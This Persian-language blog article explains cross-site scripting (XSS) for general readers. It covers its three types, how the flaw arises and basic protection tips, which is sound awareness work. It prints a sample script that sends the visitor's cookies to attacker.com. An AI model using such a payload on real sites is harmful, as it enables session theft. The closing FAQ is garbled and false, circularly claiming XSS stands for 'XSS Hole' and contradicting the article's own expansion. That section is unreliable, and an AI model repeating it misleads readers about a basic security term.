اسکریپت سایت متقاطع (XSS) چیست؟

حمله‌ی اسکریپت نویسی بین سایتی (XSS): تهدیدی که باید بشناسید

سلام دوستان عزیز. توی دنیای اینترنت، همیشه باید حواسمون به خطرات مختلف باشه. یکی از این خطرات، حمله‌ای به اسم "اسکریپت‌نویسی بین سایتی" یا XSS هست. شاید اسمش یک کم ترسناک باشه، اما نگران نباشید، توی این مقاله با زبانی ساده و روشن، بهتون توضیح میدم که XSS چیه، چطور اتفاق میفته، و چطوری میشه از خودمون محافظت کنیم.

فرض کنید شما وارد یک سایت میشید. این سایت یه فرم داره که ازتون میخواد یه چیزی رو تایپ کنید و بفرستید. حالا فکر کنید یه نفر میاد توی این فرم یه کد مخرب تایپ میکنه. وقتی شما یا یه کاربر دیگه وارد اون صفحه میشید، اون کد مخرب اجرا میشه. این یه مثال ساده از XSS هست.

XSS دقیقا چیه؟

به زبان ساده، XSS یه نوع حمله سایبریه که توی اون، یه هکر کد مخرب (معمولا جاوااسکریپت) رو وارد یه وب‌سایت میکنه. این کد مخرب وقتی اجرا میشه، میتونه اطلاعات شما رو بدزده، شما رو به یه سایت دیگه بفرسته، یا حتی کاری کنه که انگار شما دارید یه کاری رو انجام میدید، در حالی که در واقع یه هکر داره از طرف شما اون کار رو انجام میده.

انواع XSS

XSS سه نوع اصلی داره:

• XSS ذخیره شده (Stored XSS): این نوع XSS خطرناک‌تره. کد مخرب توی دیتابیس سایت ذخیره میشه. هر بار که یه نفر اون صفحه رو باز میکنه، کد مخرب اجرا میشه. مثلا توی قسمت نظرات یه سایت، یه نفر کد مخرب بزاره و هر کسی که نظر رو ببینه، تحت تاثیر قرار بگیره.
• XSS بازتابی (Reflected XSS): این نوع XSS توی نتیجه جستجو یا توی یه پیام خطا اتفاق میفته. کد مخرب توی URL سایت قرار میگیره. وقتی شما روی یه لینک کلیک میکنید، کد مخرب اجرا میشه.
• XSS مبتنی بر DOM (DOM-based XSS): این نوع XSS پیچیده‌تره و توی خود مرورگر شما اتفاق میفته. کد مخرب از طریق دستکاری DOM (Document Object Model) وبسایت اجرا میشه.

چطوری XSS اتفاق میفته؟

XSS زمانی اتفاق میفته که یه وب‌سایت اطلاعاتی که از کاربر میگیره رو بدون بررسی درست، توی سایت نمایش بده. مثلا اگه یه سایت از شما بخواد اسم تون رو وارد کنید و بعد اسمتون رو توی صفحه نشون بده، اگه سایت اسمتون رو درست بررسی نکنه، یه هکر میتونه به جای اسم، یه کد مخرب وارد کنه و اون کد توی صفحه اجرا بشه.

یه جدول میتونه این موضوع رو بهتر نشون بده:

وضعیت	توضیحات	مثال
ورودی کاربر	کاربر یه اطلاعاتی رو توی یه فرم وارد میکنه.	وارد کردن اسم، نظر، یا آدرس ایمیل.
بررسی ناقص	وب‌سایت اطلاعات ورودی رو درست بررسی نمیکنه.	اجازه دادن به کاراکترهای خاص مثل < و >
نمایش اطلاعات	وب‌سایت اطلاعات ورودی رو توی صفحه نشون میده.	نمایش اسم کاربر در پروفایل.
اجرای کد مخرب	اگر اطلاعات ورودی شامل کد مخرب باشه، کد اجرا میشه.	نمایش <script>alert('XSS')</script> در صفحه.

چطوری از خودمون در برابر XSS محافظت کنیم؟

خب، حالا که فهمیدیم XSS چیه، بریم سراغ راه‌های محافظت:

• مراقب لینک‌ها باشید: قبل از کلیک کردن روی هر لینکی، مطمئن بشید که به سایت معتبری میره. به آدرس سایت (URL) دقت کنید.
• نرم‌افزارهای خودتون رو به روز نگه دارید: مرورگرها و آنتی‌ویروس‌هاتون رو همیشه به آخرین نسخه آپدیت کنید. آپدیت‌ها معمولا شامل وصله‌های امنیتی برای جلوگیری از حملات XSS هستن.
• به سایت‌های ناشناس اعتماد نکنید: از وارد کردن اطلاعات حساس توی سایت‌هایی که نمیشناسید خودداری کنید.
• از پسوردهای قوی استفاده کنید: برای حساب‌های کاربریتون از پسوردهای پیچیده و متفاوت استفاده کنید.
• اگه صاحب یه وب‌سایت هستید: حتما ورودی‌های کاربر رو با دقت بررسی کنید و از روش‌های امنیتی برای جلوگیری از XSS استفاده کنید. فیلتر کردن کاراکترهای خاص مثل < و > یکی از راه‌های جلوگیری است.

یه مثال از کد جاوااسکریپت مخرب که ممکنه توی حمله XSS استفاده بشه:

<script> // این کد ممکنه اطلاعات کوکی شما رو بدزده و به یه سرور دیگه بفرسته document.location='http://attacker.com/steal.php?cookie='+document.cookie; </script>

این کد خیلی خطرناکه! پس حواستون باشه!

چند تا نکته دیگه...

یکی از کارهایی که میتونه بهتون کمک کنه اینه که از افزونه‌های امنیتی برای مرورگرتون استفاده کنید. این افزونه‌ها میتونن بعضی از حملات XSS رو شناسایی و مسدود کنن. همچنین، همیشه به هشدارهایی که مرورگرتون میده توجه کنید. اگه مرورگرتون یه سایت رو خطرناک تشخیص داد، بهتره واردش نشید.

یک نکته مهم دیگه، به روز بودن دانش شماست. امنیت دنیای وب همیشه در حال تغییره. پس سعی کنید همیشه اطلاعات خودتون رو درباره تهدیدات جدید و روش‌های مقابله با اونا به روز نگه دارید. آموزش و آگاهی، بهترین سلاح شما در برابر حملات سایبریه.

خلاصه

XSS یه حمله سایبریه که میتونه خطرناک باشه. با یادگیری اینکه XSS چیه و چطوری اتفاق میفته، میتونید از خودتون محافظت کنید. همیشه مراقب لینک‌ها باشید، نرم‌افزارهاتون رو به روز نگه دارید، و به سایت‌های ناشناس اعتماد نکنید. اگه صاحب یه وب‌سایت هستید، حتما ورودی‌های کاربر رو با دقت بررسی کنید.

امیدوارم این مقاله براتون مفید بوده باشه. یادتون نره، آگاهی کلید امنیت در دنیای دیجیتاله! همیشه در حال یادگیری باشید و از خودتون محافظت کنید. موفق باشید!

کلمات کلیدی:

XSS, حمله‌ی اسکریپت‌نویسی بین سایتی, امنیت وب, جاوااسکریپت, آسیب‌پذیری امنیتی, جلوگیری از XSS

XSS چقدر خطرناکه؟

XSS میتونه خیلی خطرناک باشه. هکرها میتونن از طریق XSS اطلاعات شما رو بدزدن، شما رو به سایت‌های دیگه بفرستن، یا حتی کاری کنن که انگار شما دارید یه کاری رو انجام میدید در حالی که در واقع یه هکر داره از طرف شما اون کار رو انجام میده.

آیا همه سایت‌ها در معرض خطر XSS هستن؟

متاسفانه بله. هر سایتی که اطلاعات ورودی کاربر رو بدون بررسی درست توی سایت نمایش بده، در معرض خطر XSS هست.

چطوری میتونم بفهمم یه سایت امنه؟

هیچ راه قطعی برای فهمیدن اینکه یه سایت امنه وجود نداره. اما شما میتونید با دقت به آدرس سایت، استفاده از افزونه‌های امنیتی، و اعتماد نکردن به سایت‌های ناشناس، ریسک رو کم کنید.

اگر فکر میکنم قربانی XSS شدم، باید چه کار کنم؟

فورا پسوردتون رو عوض کنید و به سایت مورد نظر اطلاع بدید. همچنین، کامپیوترتون رو با یه آنتی‌ویروس اسکن کنید.

بهترین راه برای جلوگیری از XSS برای صاحب وب سایت چیه؟

استفاده از توابع و کتابخانه های امنیتی برای پاکسازی ورودی های کاربر و رمزگذاری اطلاعات حساس است. همچنین به روز رسانی مداوم نرم افزارها و فریمورک ها می تواند به رفع آسیب پذیری های امنیتی کمک کند.

مخفف XSS Hole چیست؟

مخفف XSS Hole کلمه XSS می باشد.

XSS مخفف چیست؟

XSS مخفف XSS Hole می باشد.

کلمه XSS مخفف چیست؟

وقتی به XSS به عنوان مخفف XSS Hole اشاره می کنیم، منظور این است که XSS با گرفتن حروف اولیه هر کلمه مهم در XSS Hole تشکیل می شود. این فرآیند عبارت اصلی را به شکلی کوتاه تر و قابل مدیریت تر فشرده می کند و در عین حال معنای اصلی خود را حفظ می کند. بر اساس این تعریف، XSS مخفف XSS Hole است.